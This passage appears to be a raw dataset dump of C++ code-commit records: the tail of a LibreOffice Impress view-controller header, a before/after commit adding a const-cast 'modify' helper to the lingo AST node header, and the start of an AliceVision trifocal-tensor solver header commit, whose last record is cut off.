\"DrawController.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_DRAWING_XDRAWVIEW_HPP_\n#include <com\/sun\/star\/drawing\/XDrawView.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_VIEW_XSELECTIONSUPPLIER_HPP_\n#include <com\/sun\/star\/view\/XSelectionSupplier.hpp>\n#endif\n\n#ifndef _SFX_SFXBASECONTROLLER_HXX_\n#include <sfx2\/sfxbasecontroller.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPSHLP_HXX\n#include <cppuhelper\/propshlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPTYPEHLP_HXX\n#include <cppuhelper\/proptypehlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_INTERFACECONTAINER_H_\n#include <cppuhelper\/interfacecontainer.h>\n#endif\n\n#ifndef _SVX_UNOSHAPE_HXX\n#include <svx\/unoshape.hxx>\n#endif\n\n\nnamespace sd {\n\nclass ViewShellBase;\nclass SlideViewShell;\nclass View;\n\n\n\/**\n * This class implements the view component for a SdOutlineViewShell\n *\/\nclass SdUnoSlideView\n : public DrawController\n{\npublic:\n SdUnoSlideView (\n ViewShellBase& rBase,\n ViewShell& rViewShell,\n View& rView) throw();\n virtual ~SdUnoSlideView() throw();\n\n \/\/ XTypeProvider\n virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId( ) throw(::com::sun::star::uno::RuntimeException);\n\n \/\/ XServiceInfo\n virtual ::rtl::OUString SAL_CALL getImplementationName()\n throw(::com::sun::star::uno::RuntimeException);\n\nprivate:\n sal_Bool mbDisposing;\n\n Rectangle maLastVisArea;\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2015 Andrew Sutton\n\/\/ All rights reserved\n\n#ifndef LINGO_NODE_HPP\n#define LINGO_NODE_HPP\n\n#include <cassert>\n#include <vector>\n#include <type_traits>\n\n\/\/ This module provides defines a node abstraction for various\n\/\/ kinds of trees used in different languages and facilities\n\/\/ for working with those abstractions.\n\nnamespace lingo\n{\n\nclass Token;\n\n\n\/\/ The Kind_of class is a helper class that supports the definition \n\/\/ of node models. This provides a static representation of the \n\/\/ node kind and a static `is` function for dynamic type testing.\ntemplate<typename T, T K>\nstruct Kind_base\n{\n static constexpr T node_kind = K;\n\n static bool is(T k) { return node_kind == k; }\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Generic terms\n\n\n\/\/ The Term template provides a facility for making an arbitrary\n\/\/ type model the requirements of a node. This is useful for \n\/\/ defining terms that do not fall into other categegories (types,\n\/\/ expressions, declarations, statments, etc).\n\/\/\n\/\/ The \"kind\" of the node can be specified by the integer template\n\/\/ argument N, but it is rarely useful to define it as anything\n\/\/ other.\ntemplate<int N = 0>\nstruct Term : Kind_base<int, N>\n{\n virtual ~Term() { }\n\n char const* node_name() const { return \"<unspecified term>\"; }\n int kind() const { return N; }\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Special values\n\/\/\n\/\/ The following functions define special values of node pointers.\n\n\n\/\/ Returns true if the node is empty.\ntemplate<typename T>\ninline bool\nis_empty_node(T const* t)\n{\n return t == nullptr;\n}\n\n\n\/\/ Construct a node pointer that acts as an error value.\n\/\/ The type of the node is explicitly given as a template\n\/\/ argument.\ntemplate<typename T>\ninline T* \nmake_error_node()\n{\n return (T*)0x01;\n}\n\n\n\/\/ Returns true if `t` is an error node.\ntemplate<typename T>\ninline bool\nis_error_node(T const* t)\n{\n return t == make_error_node<T>();\n}\n\n\n\/\/ Returns true if `t` is neither null nor an error.\ntemplate<typename T>\ninline bool\nis_valid_node(T const* t)\n{\n return t && !is_error_node(t);\n}\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Dynamic type information\n\n\n\/\/ Returns true if the object pointed to by `u` has \n\/\/ the dynamic type `T`.\ntemplate<typename T, typename U>\ninline bool\nis(U const* u)\n{\n return T::is(u->kind());\n}\n\n\n\/\/ Statically cast a pointer to a Node of type T to a \n\/\/ pointer to a Node of type U. This is not a checked\n\/\/ operation (except in debug mode).\n\/\/\n\/\/ Note that this allows null and error nodes to be\n\/\/ interpreted as nodes of the given type (as their\n\/\/ values are considered common to all).\ntemplate<typename T, typename U>\ninline T* \ncast(U* u)\n{\n assert(is_valid_node(u) ? is<T>(u) : true);\n return static_cast<T*>(u);\n}\n\n\ntemplate<typename T, typename U>\ninline T const*\ncast(U const* u)\n{\n assert(is_valid_node(u) ? is<T>(u) : true);\n return static_cast<T const*>(u);\n}\n\n\n\/\/ Returns `u` with type `T*` iff the object pointed\n\/\/ to by `u` has dynamic type `T`.\ntemplate<typename T, typename U>\ninline T*\nas(U* u)\n{\n return is<T>(u) ? cast<T>(u) : nullptr;\n}\n\n\ntemplate<typename T, typename U>\ninline T const*\nas(U const* u)\n{\n return is<T>(u) ? cast<T>(u) : nullptr;\n}\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Concepts\n\/\/\n\/\/ There are several concepts describing the kinds of nodes over \n\/\/ which an algorithm can operate generically. The primary \n\/\/ characterization \/\/ of node types is based on their arity. \n\/\/\n\/\/ ## The Node concept\n\/\/\n\/\/ Every node in an abstract syntax tree must provide a static\n\/\/ constexpr member, node_kind that statically defines the kind\n\/\/ of node.\n\/\/\n\/\/ ## Node arity\n\/\/\n\/\/ Nodes with fixed arity have tuple-like member names (e.g., \n\/\/ first, second, third). These accessor members correspond to \n\/\/ the sub-terms of each node. Accessor members may have different\n\/\/ tpyes, and are not required to be nodes.\n\/\/\n\/\/ A nullary node is a Node is an empty tuple, and has no\n\/\/ accessor members. A unary node has only accessor member\n\/\/ `first`. A binary node has only `first` and `second`.\n\/\/ A ternary node has `first`, second`, and `third`.\n\/\/\n\/\/ Note that more arity nodes can be defined if needed.\n\/\/\n\/\/ A k-ary has k sub-terms, and that range of terms is accessed \n\/\/ by its `begin()` and `end()` members. The types of these \n\/\/ sub-terms are the same.\n\n\nnamespace traits\n{\n\n\n\/\/ A helper trait used to detect substitution failures.\ntemplate<typename T>\nstruct is_non_void\n{\n static constexpr bool value = true;\n};\n\n\ntemplate<>\nstruct is_non_void<void>\n{\n static constexpr bool value = false;\n};\n\n\n\/\/ Detect the existince of the member T::node_kind. \ntemplate<typename T>\nstruct node_kind_type\n{\n template<typename U> static auto f(U* p) -> decltype(U::node_kind);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existince of the member t->first.\ntemplate<typename T>\nstruct first_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->first);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existence of the member t->second;\ntemplate<typename T>\nstruct second_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->second);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existence of the member t->third;\ntemplate<typename T>\nstruct third_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->third);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existence of the member t->begin().\ntemplate<typename T>\nstruct begin_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->begin());\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\n\/\/ Detect the existence of the member t->end().\ntemplate<typename T>\nstruct end_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->end());\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Returns true when `T` has the static member object `node_kind`.\ntemplate<typename T>\nconstexpr bool\nhas_node_kind()\n{\n return is_non_void<typename node_kind_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `first`.\ntemplate<typename T>\nconstexpr bool\nhas_first()\n{\n return is_non_void<typename first_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `second`.\ntemplate<typename T>\nconstexpr bool\nhas_second()\n{\n return is_non_void<typename second_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `third`.\ntemplate<typename T>\nconstexpr bool\nhas_third()\n{\n return is_non_void<typename third_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `begin`.\ntemplate<typename T>\nconstexpr bool\nhas_begin()\n{\n return is_non_void<typename begin_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `end`.\ntemplate<typename T>\nconstexpr bool\nhas_end()\n{\n return is_non_void<typename end_type<T>::type>::value;\n}\n\n\n} \/\/ namesapce traits\n\n\n\/\/ Returns true if T models the Node concept.\ntemplate<typename T>\nconstexpr bool \nis_node()\n{\n return traits::has_node_kind<T>();\n}\n\n\n\/\/ Returns true if T is a Nullary_node.\ntemplate<typename T>\nconstexpr bool\nis_nullary_node()\n{\n return is_node<T>()\n && !traits::has_first<T>() \/\/ Not a unary node\n && !traits::has_begin<T>(); \/\/ Not a k-ary node\n}\n\n\n\/\/ Returns true if T is a unary node.\ntemplate<typename T>\nconstexpr bool\nis_unary_node()\n{\n return is_node<T>() \n && traits::has_first<T>() \n && !traits::has_second<T>();\n}\n\n\n\/\/ Returns true if T is a binary node.\ntemplate<typename T>\nconstexpr bool\nis_binary_node()\n{\n return is_node<T>() \n && traits::has_second<T>() \n && !traits::has_third<T>();\n}\n\n\n\/\/ Returns true if T is a ternary node.\ntemplate<typename T>\nconstexpr bool\nis_ternary_node()\n{\n return is_node<T>() \n && traits::has_first<T>()\n && traits::has_second<T>() \n && traits::has_third<T>();\n}\n\n\n\/\/ Returns true if T is a k-ary node.\ntemplate<typename T>\nconstexpr bool\nis_kary_node()\n{\n return is_node<T>() && traits::has_begin<T>() && traits::has_end<T>();\n}\n\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Reqiured term\n\n\/\/ The Maybe template is typically used to declare node \n\/\/ pointers within condition declarations.\n\/\/\n\/\/ if (Required<Var_decl> var = ...)\n\/\/\n\/\/ This class contextually evaluates to `true` whenever\n\/\/ it is initialized to a non-null, non-error value. \ntemplate<typename T>\nstruct Required\n{\n Required(T const* p)\n : ptr(p)\n { }\n\n \/\/ Returns true iff the term is valid.\n explicit operator bool() const { return is_valid_node(ptr); }\n\n \/\/ Returns the underlying term, even if it is an error or\n \/\/ empty term.\n T const* operator*() const { return ptr; }\n T const* operator->() const { return ptr; }\n\n bool is_error() const { return is_error_node(ptr); }\n bool is_empty() const { return is_empty_node(ptr); }\n\n T const* ptr;\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Optional results\n\n\/\/ The Optional template is typically used to declare node \n\/\/ pointers within condition declarations.\n\/\/\n\/\/ if (Optional<Var_decl> var = ...)\n\/\/\n\/\/ This class contextually evaluates to `true` whenever\n\/\/ it is a non-error value. Note that the term may be empty.\ntemplate<typename T>\nstruct Optional\n{\n Optional(T const* p)\n : ptr(p)\n { }\n\n \/\/ Returns true iff the term is valid or empty.\n explicit operator bool() const { return !is_error_node(ptr); }\n\n \/\/ Returns the underlying term, even if it is an error.\n T const* operator*() const { return ptr; }\n T const* operator->() const { return ptr; }\n\n bool is_error() const { return is_error_node(ptr); }\n bool is_empty() const { return is_empty_node(ptr); }\n\n T const* ptr;\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Nonempty results\n\n\/\/ The Nonempty template is typically used to declare node \n\/\/ pointers within condition declarations.\n\/\/\n\/\/ if (Nonempty<Var_decl> var = ...)\n\/\/\n\/\/ This class contextually evaluates to `true` whenever\n\/\/ is non-empty. Note that error conditions are treated as\n\/\/ valid results. \ntemplate<typename T>\nstruct Nonempty\n{\n Nonempty(T const* p)\n : ptr(p)\n { }\n\n \/\/ Returns true iff the term is non-empty.\n explicit operator bool() const { return !is_empty_node(ptr); }\n\n \/\/ Returns the underlying term, even if it is a empty.\n T const* operator*() const { return ptr; }\n T const* operator->() const { return ptr; }\n\n bool is_error() const { return is_error_node(ptr); }\n bool is_empty() const { return is_empty_node(ptr); }\n\n T const* ptr;\n};\n\n\n\n} \/\/ namespace lingo\n\n\n#endif\n<commit_msg>Add a cast to non-const function.<commit_after>\/\/ Copyright (c) 2015 Andrew Sutton\n\/\/ All rights reserved\n\n#ifndef LINGO_NODE_HPP\n#define LINGO_NODE_HPP\n\n#include <cassert>\n#include <vector>\n#include <type_traits>\n\n\/\/ This module provides defines a node abstraction for various\n\/\/ kinds of trees used in different languages and facilities\n\/\/ for working with those abstractions.\n\nnamespace lingo\n{\n\nclass Token;\n\n\n\/\/ The Kind_of class is a helper class that supports the definition \n\/\/ of node models. This provides a static representation of the \n\/\/ node kind and a static `is` function for dynamic type testing.\ntemplate<typename T, T K>\nstruct Kind_base\n{\n static constexpr T node_kind = K;\n\n static bool is(T k) { return node_kind == k; }\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Generic terms\n\n\n\/\/ The Term template provides a facility for making an arbitrary\n\/\/ type model the requirements of a node. This is useful for \n\/\/ defining terms that do not fall into other categegories (types,\n\/\/ expressions, declarations, statments, etc).\n\/\/\n\/\/ The \"kind\" of the node can be specified by the integer template\n\/\/ argument N, but it is rarely useful to define it as anything\n\/\/ other.\ntemplate<int N = 0>\nstruct Term : Kind_base<int, N>\n{\n virtual ~Term() { }\n\n char const* node_name() const { return \"<unspecified term>\"; }\n int kind() const { return N; }\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Special values\n\/\/\n\/\/ The following functions define special values of node pointers.\n\n\n\/\/ Returns true if the node is empty.\ntemplate<typename T>\ninline bool\nis_empty_node(T const* t)\n{\n return t == nullptr;\n}\n\n\n\/\/ Construct a node pointer that acts as an error value.\n\/\/ The type of the node is explicitly given as a template\n\/\/ argument.\ntemplate<typename T>\ninline T* \nmake_error_node()\n{\n return (T*)0x01;\n}\n\n\n\/\/ Returns true if `t` is an error node.\ntemplate<typename T>\ninline bool\nis_error_node(T const* t)\n{\n return t == make_error_node<T>();\n}\n\n\n\/\/ Returns true if `t` is neither null nor an error.\ntemplate<typename T>\ninline bool\nis_valid_node(T const* t)\n{\n return t && !is_error_node(t);\n}\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Dynamic type information\n\n\n\/\/ Returns true if the object pointed to by `u` has \n\/\/ the dynamic type `T`.\ntemplate<typename T, typename U>\ninline bool\nis(U const* u)\n{\n return T::is(u->kind());\n}\n\n\n\/\/ Statically cast a pointer to a Node of type T to a \n\/\/ pointer to a Node of type U. This is not a checked\n\/\/ operation (except in debug mode).\n\/\/\n\/\/ Note that this allows null and error nodes to be\n\/\/ interpreted as nodes of the given type (as their\n\/\/ values are considered common to all).\ntemplate<typename T, typename U>\ninline T* \ncast(U* u)\n{\n assert(is_valid_node(u) ? is<T>(u) : true);\n return static_cast<T*>(u);\n}\n\n\ntemplate<typename T, typename U>\ninline T const*\ncast(U const* u)\n{\n assert(is_valid_node(u) ? is<T>(u) : true);\n return static_cast<T const*>(u);\n}\n\n\n\/\/ Returns `u` with type `T*` iff the object pointed\n\/\/ to by `u` has dynamic type `T`.\ntemplate<typename T, typename U>\ninline T*\nas(U* u)\n{\n return is<T>(u) ? cast<T>(u) : nullptr;\n}\n\n\ntemplate<typename T, typename U>\ninline T const*\nas(U const* u)\n{\n return is<T>(u) ? cast<T>(u) : nullptr;\n}\n\n\n\/\/ Return a non-const pointer to the term. This is used\n\/\/ to modify a term post-initializatoin (which should\n\/\/ be rare).\ntemplate<typename T>\ninline T*\nmodify(T const* t)\n{\n return const_cast<T*>(t);\n}\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Concepts\n\/\/\n\/\/ There are several concepts describing the kinds of nodes over \n\/\/ which an algorithm can operate generically. The primary \n\/\/ characterization \/\/ of node types is based on their arity. \n\/\/\n\/\/ ## The Node concept\n\/\/\n\/\/ Every node in an abstract syntax tree must provide a static\n\/\/ constexpr member, node_kind that statically defines the kind\n\/\/ of node.\n\/\/\n\/\/ ## Node arity\n\/\/\n\/\/ Nodes with fixed arity have tuple-like member names (e.g., \n\/\/ first, second, third). These accessor members correspond to \n\/\/ the sub-terms of each node. Accessor members may have different\n\/\/ tpyes, and are not required to be nodes.\n\/\/\n\/\/ A nullary node is a Node is an empty tuple, and has no\n\/\/ accessor members. A unary node has only accessor member\n\/\/ `first`. A binary node has only `first` and `second`.\n\/\/ A ternary node has `first`, second`, and `third`.\n\/\/\n\/\/ Note that more arity nodes can be defined if needed.\n\/\/\n\/\/ A k-ary has k sub-terms, and that range of terms is accessed \n\/\/ by its `begin()` and `end()` members. The types of these \n\/\/ sub-terms are the same.\n\n\nnamespace traits\n{\n\n\n\/\/ A helper trait used to detect substitution failures.\ntemplate<typename T>\nstruct is_non_void\n{\n static constexpr bool value = true;\n};\n\n\ntemplate<>\nstruct is_non_void<void>\n{\n static constexpr bool value = false;\n};\n\n\n\/\/ Detect the existince of the member T::node_kind. \ntemplate<typename T>\nstruct node_kind_type\n{\n template<typename U> static auto f(U* p) -> decltype(U::node_kind);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existince of the member t->first.\ntemplate<typename T>\nstruct first_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->first);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existence of the member t->second;\ntemplate<typename T>\nstruct second_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->second);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existence of the member t->third;\ntemplate<typename T>\nstruct third_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->third);\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Detect the existence of the member t->begin().\ntemplate<typename T>\nstruct begin_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->begin());\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\n\/\/ Detect the existence of the member t->end().\ntemplate<typename T>\nstruct end_type\n{\n template<typename U> static auto f(U* p) -> decltype(p->end());\n static void f(...);\n\n using type = decltype(f(std::declval<T*>()));\n};\n\n\n\/\/ Returns true when `T` has the static member object `node_kind`.\ntemplate<typename T>\nconstexpr bool\nhas_node_kind()\n{\n return is_non_void<typename node_kind_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `first`.\ntemplate<typename T>\nconstexpr bool\nhas_first()\n{\n return is_non_void<typename first_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `second`.\ntemplate<typename T>\nconstexpr bool\nhas_second()\n{\n return is_non_void<typename second_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `third`.\ntemplate<typename T>\nconstexpr bool\nhas_third()\n{\n return is_non_void<typename third_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `begin`.\ntemplate<typename T>\nconstexpr bool\nhas_begin()\n{\n return is_non_void<typename begin_type<T>::type>::value;\n}\n\n\n\/\/ Returns true when `T` has the member `end`.\ntemplate<typename T>\nconstexpr bool\nhas_end()\n{\n return is_non_void<typename end_type<T>::type>::value;\n}\n\n\n} \/\/ namesapce traits\n\n\n\/\/ Returns true if T models the Node concept.\ntemplate<typename T>\nconstexpr bool \nis_node()\n{\n return traits::has_node_kind<T>();\n}\n\n\n\/\/ Returns true if T is a Nullary_node.\ntemplate<typename T>\nconstexpr bool\nis_nullary_node()\n{\n return is_node<T>()\n && !traits::has_first<T>() \/\/ Not a unary node\n && !traits::has_begin<T>(); \/\/ Not a k-ary node\n}\n\n\n\/\/ Returns true if T is a unary node.\ntemplate<typename T>\nconstexpr bool\nis_unary_node()\n{\n return is_node<T>() \n && traits::has_first<T>() \n && !traits::has_second<T>();\n}\n\n\n\/\/ Returns true if T is a binary node.\ntemplate<typename T>\nconstexpr bool\nis_binary_node()\n{\n return is_node<T>() \n && traits::has_second<T>() \n && !traits::has_third<T>();\n}\n\n\n\/\/ Returns true if T is a ternary node.\ntemplate<typename T>\nconstexpr bool\nis_ternary_node()\n{\n return is_node<T>() \n && traits::has_first<T>()\n && traits::has_second<T>() \n && traits::has_third<T>();\n}\n\n\n\/\/ Returns true if T is a k-ary node.\ntemplate<typename T>\nconstexpr bool\nis_kary_node()\n{\n return is_node<T>() && traits::has_begin<T>() && traits::has_end<T>();\n}\n\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Reqiured term\n\n\/\/ The Maybe template is typically used to declare node \n\/\/ pointers within condition declarations.\n\/\/\n\/\/ if (Required<Var_decl> var = ...)\n\/\/\n\/\/ This class contextually evaluates to `true` whenever\n\/\/ it is initialized to a non-null, non-error value. \ntemplate<typename T>\nstruct Required\n{\n Required(T const* p)\n : ptr(p)\n { }\n\n \/\/ Returns true iff the term is valid.\n explicit operator bool() const { return is_valid_node(ptr); }\n\n \/\/ Returns the underlying term, even if it is an error or\n \/\/ empty term.\n T const* operator*() const { return ptr; }\n T const* operator->() const { return ptr; }\n\n bool is_error() const { return is_error_node(ptr); }\n bool is_empty() const { return is_empty_node(ptr); }\n\n T const* ptr;\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Optional results\n\n\/\/ The Optional template is typically used to declare node \n\/\/ pointers within condition declarations.\n\/\/\n\/\/ if (Optional<Var_decl> var = ...)\n\/\/\n\/\/ This class contextually evaluates to `true` whenever\n\/\/ it is a non-error value. Note that the term may be empty.\ntemplate<typename T>\nstruct Optional\n{\n Optional(T const* p)\n : ptr(p)\n { }\n\n \/\/ Returns true iff the term is valid or empty.\n explicit operator bool() const { return !is_error_node(ptr); }\n\n \/\/ Returns the underlying term, even if it is an error.\n T const* operator*() const { return ptr; }\n T const* operator->() const { return ptr; }\n\n bool is_error() const { return is_error_node(ptr); }\n bool is_empty() const { return is_empty_node(ptr); }\n\n T const* ptr;\n};\n\n\n\/\/ -------------------------------------------------------------------------- \/\/\n\/\/ Nonempty results\n\n\/\/ The Nonempty template is typically used to declare node \n\/\/ pointers within condition declarations.\n\/\/\n\/\/ if (Nonempty<Var_decl> var = ...)\n\/\/\n\/\/ This class contextually evaluates to `true` whenever\n\/\/ is non-empty. Note that error conditions are treated as\n\/\/ valid results. \ntemplate<typename T>\nstruct Nonempty\n{\n Nonempty(T const* p)\n : ptr(p)\n { }\n\n \/\/ Returns true iff the term is non-empty.\n explicit operator bool() const { return !is_empty_node(ptr); }\n\n \/\/ Returns the underlying term, even if it is a empty.\n T const* operator*() const { return ptr; }\n T const* operator->() const { return ptr; }\n\n bool is_error() const { return is_error_node(ptr); }\n bool is_empty() const { return is_empty_node(ptr); }\n\n T const* ptr;\n};\n\n\n\n} \/\/ namespace lingo\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the AliceVision project.\n\/\/ Copyright (c) 2016 AliceVision contributors.\n\/\/ Copyright (c) 2012 openMVG contributors.\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include \"aliceVision\/numeric\/numeric.hpp\"\n#include <aliceVision\/config.hpp>\n\n#include <aliceVision\/multiview\/projection.hpp>\n#include \"aliceVision\/multiview\/conditioning.hpp\"\n#include \"aliceVision\/multiview\/triangulation\/Triangulation.hpp\"\n\n\/\/ Linear programming solver(s)\n#include \"aliceVision\/linearProgramming\/ISolver.hpp\"\n#include \"aliceVision\/linearProgramming\/OSIXSolver.hpp\"\n#if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK)\n#include \"aliceVision\/linearProgramming\/MOSEKSolver.hpp\"\n#endif\n\n#include \"aliceVision\/linearProgramming\/bisectionLP.hpp\"\n#include \"aliceVision\/linearProgramming\/lInfinityCV\/tijsAndXis_From_xi_Ri.hpp\"\n\nnamespace aliceVision {\nnamespace trifocal {\nnamespace kernel {\n\n\/\/\/ A trifocal tensor seen as 3 projective cameras\nstruct TrifocalTensorModel {\n Mat34 P1, P2, P3;\n\n static double Error(const TrifocalTensorModel & t, const Vec2 & pt1, const Vec2 & pt2, const Vec2 & pt3)\n {\n \/\/ Triangulate\n Triangulation triangulationObj;\n triangulationObj.add(t.P1, pt1);\n triangulationObj.add(t.P2, pt2);\n triangulationObj.add(t.P3, pt3);\n const Vec3 X = triangulationObj.compute();\n\n \/\/ Return the maximum observed reprojection error\n const double pt1ReProj = (Project(t.P1, X) - pt1).squaredNorm();\n const double pt2ReProj = (Project(t.P2, X) - pt2).squaredNorm();\n const double pt3ReProj = (Project(t.P3, X) - pt3).squaredNorm();\n\n return std::max(pt1ReProj, std::max(pt2ReProj,pt3ReProj));\n }\n};\n\n} \/\/ namespace kernel\n} \/\/ namespace trifocal\n} \/\/ namespace aliceVision\n\nnamespace aliceVision{\n\nusing namespace aliceVision::trifocal::kernel;\n\n\/\/\/ Solve the translations and the structure of a view-triplet that have known rotations\nstruct translations_Triplet_Solver {\n enum { MINIMUM_SAMPLES = 4 };\n enum { MAX_MODELS = 1 };\n\n \/\/\/ Solve the computation of the \"tensor\".\n static void Solve(\n const Mat &pt0, const Mat & pt1, const Mat & pt2,\n const std::vector<Mat3> & vec_KR, std::vector<TrifocalTensorModel> *P,\n const double ThresholdUpperBound)\n {\n \/\/Build the megaMatMatrix\n const int n_obs = pt0.cols();\n Mat4X megaMat(4, n_obs*3);\n {\n size_t cpt = 0;\n for (size_t i = 0; i < n_obs; ++i)\n {\n megaMat.col(cpt++) << pt0.col(i)(0), pt0.col(i)(1), (double)i, 0.0;\n megaMat.col(cpt++) << pt1.col(i)(0), pt1.col(i)(1), (double)i, 1.0;\n megaMat.col(cpt++) << pt2.col(i)(0), pt2.col(i)(1), (double)i, 2.0;\n }\n }\n \/\/-- Solve the LInfinity translation and structure from Rotation and points data.\n std::vector<double> vec_solution((3 + MINIMUM_SAMPLES)*3);\n\n using namespace aliceVision::lInfinityCV;\n\n#if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK)\n MOSEKSolver LPsolver(static_cast<int>(vec_solution.size()));\n#else\n OSI_CISolverWrapper LPsolver(static_cast<int>(vec_solution.size()));\n#endif\n\n Translation_Structure_L1_ConstraintBuilder cstBuilder(vec_KR, megaMat);\n double gamma;\n if (BisectionLP<Translation_Structure_L1_ConstraintBuilder, LPConstraintsSparse>(\n LPsolver,\n cstBuilder,\n &vec_solution,\n ThresholdUpperBound,\n 0.0, 1e-8, 2, &gamma, false))\n {\n const std::vector<Vec3> vec_tis = {\n Vec3(vec_solution[0], vec_solution[1], vec_solution[2]),\n Vec3(vec_solution[3], vec_solution[4], vec_solution[5]),\n Vec3(vec_solution[6], vec_solution[7], vec_solution[8])};\n\n TrifocalTensorModel PTemp;\n PTemp.P1 = HStack(vec_KR[0], vec_tis[0]);\n PTemp.P2 = HStack(vec_KR[1], vec_tis[1]);\n PTemp.P3 = HStack(vec_KR[2], vec_tis[2]);\n\n P->push_back(PTemp);\n }\n }\n\n \/\/ Compute the residual of reprojections\n static double Error(\n const TrifocalTensorModel & Tensor,\n const Vec2 & pt0, const Vec2 & pt1, const Vec2 & pt2)\n {\n return TrifocalTensorModel::Error(Tensor, pt0, pt1, pt2);\n }\n};\n\n} \/\/ namespace aliceVision\n\n<commit_msg>Fix: change angle brackets <> to double quotes \"\"<commit_after>\/\/ This file is part of the AliceVision project.\n\/\/ Copyright (c) 2016 AliceVision contributors.\n\/\/ Copyright (c) 2012 openMVG contributors.\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include \"aliceVision\/numeric\/numeric.hpp\"\n#include \"aliceVision\/config.hpp\"\n\n#include \"aliceVision\/multiview\/projection.hpp\"\n#include \"aliceVision\/multiview\/conditioning.hpp\"\n#include \"aliceVision\/multiview\/triangulation\/Triangulation.hpp\"\n\n\/\/ Linear programming solver(s)\n#include \"aliceVision\/linearProgramming\/ISolver.hpp\"\n#include \"aliceVision\/linearProgramming\/OSIXSolver.hpp\"\n#if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK)\n#include \"aliceVision\/linearProgramming\/MOSEKSolver.hpp\"\n#endif\n\n#include \"aliceVision\/linearProgramming\/bisectionLP.hpp\"\n#include \"aliceVision\/linearProgramming\/lInfinityCV\/tijsAndXis_From_xi_Ri.hpp\"\n\nnamespace aliceVision {\nnamespace trifocal {\nnamespace kernel {\n\n\/\/\/ A trifocal tensor seen as 3 projective cameras\nstruct TrifocalTensorModel {\n Mat34 P1, P2, P3;\n\n static double Error(const TrifocalTensorModel & t, const Vec2 & pt1, const Vec2 & pt2, const Vec2 & pt3)\n {\n \/\/ Triangulate\n Triangulation triangulationObj;\n triangulationObj.add(t.P1, pt1);\n triangulationObj.add(t.P2, pt2);\n triangulationObj.add(t.P3, pt3);\n const Vec3 X = triangulationObj.compute();\n\n \/\/ Return the maximum observed reprojection error\n const double pt1ReProj = (Project(t.P1, X) - pt1).squaredNorm();\n const double pt2ReProj = (Project(t.P2, X) - pt2).squaredNorm();\n const double pt3ReProj = (Project(t.P3, X) - pt3).squaredNorm();\n\n return std::max(pt1ReProj, std::max(pt2ReProj,pt3ReProj));\n }\n};\n\n} \/\/ namespace kernel\n} \/\/ namespace trifocal\n} \/\/ namespace 